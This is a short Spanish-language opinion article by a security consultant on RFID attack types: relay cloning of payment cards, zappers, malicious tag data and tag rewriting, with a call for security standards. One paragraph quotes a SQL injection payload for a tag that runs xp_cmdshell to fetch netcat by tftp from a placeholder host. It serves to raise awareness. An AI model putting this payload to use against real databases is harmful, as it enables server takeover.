Nueva tecnología, nuevos ataques

Radio Frequency Identification es la tecnología de moda vinculada a ?identificación?. Sin profundizar demasiado en cuanto a su funcionamiento, tiene una característica que lo diferencia de cualquier otro método: posee la capacidad de guardar un ?registro con información?, que posteriormente es leído gracias a un dispositivo llamado Tag, que a su vez es decodificado por un Lector de RFid y procesado de acuerdo a las necesidades particulares de cada aplicación.

Dicha información transmitida por el Tag ya tiene diferentes usos: trazabilidad de productos, documentación personal, ganadería, identificación de stock, entre otros.

Actualmente, cuando se analizan los riesgos de esta tecnología, la mayoría de los especialistas habla de vulnerar el derecho a la intimidad (porque cualquiera podría leer documentos, hábitos de consumo, etc.) Mientras existen grandes discusiones en los foros sobre esta problemática hay delincuentes que se dedican a realizar los siguientes ataques:

*Relay Attacks sobre tarjetas de debito o crédito: con un leech los estafadores leen el dispositivo RFid de las tarjetas de crédito o débito, lo transmiten a una tarjeta falsa (Ghost) y lo utilizan para hacer compras. He aquí la nueva generación de las clonaciones de tarjetas.

*RFid Zapper: elimina el Tag generando un campo electromagnético potente. Ya no se podrá usar, aunque el dispositivo permite ser regrabado.

*RFid Código Malicioso: la información del Tag es leída por el Tag Reader y transmitida a un Front End. ¿Se imaginan si el soporte es un SQL Server y en el Tag en vez de cargar una descripción de artículo se carga un valor como este: ?'exec master.dbo.xp_cmdshell 'cmd /c tftp ?i xx.xx.xx.xx get nc.exe c: ools c.exe'? ??

*Modificación de Tags: existen varias clases de tags; algunos permiten la modificación de los datos que incluyen. En este sentido, no hay validación alguna entre los Tags y los dispositivos de escritura? entonces, ¿quién prohíbe la reescritura? Imagínese qué ocurriría si el Tag está dentro de un medicamento que necesita cadena de frío y alguien lo cambia intencionalmente.

¿No cree Usted que mientras se habla de violar el derecho a la privacidad se está omitiendo algo más importante respecto a esta tecnología?

Sería positivo que alguna vez aprendamos de experiencias pasadas (Wifi, Bluetooth) y que los estándares de las nuevas tecnologías exijan medidas de control antes de hacerlas comercialmente atractivas.

*Senior Security Consultant
I-SEC Information Security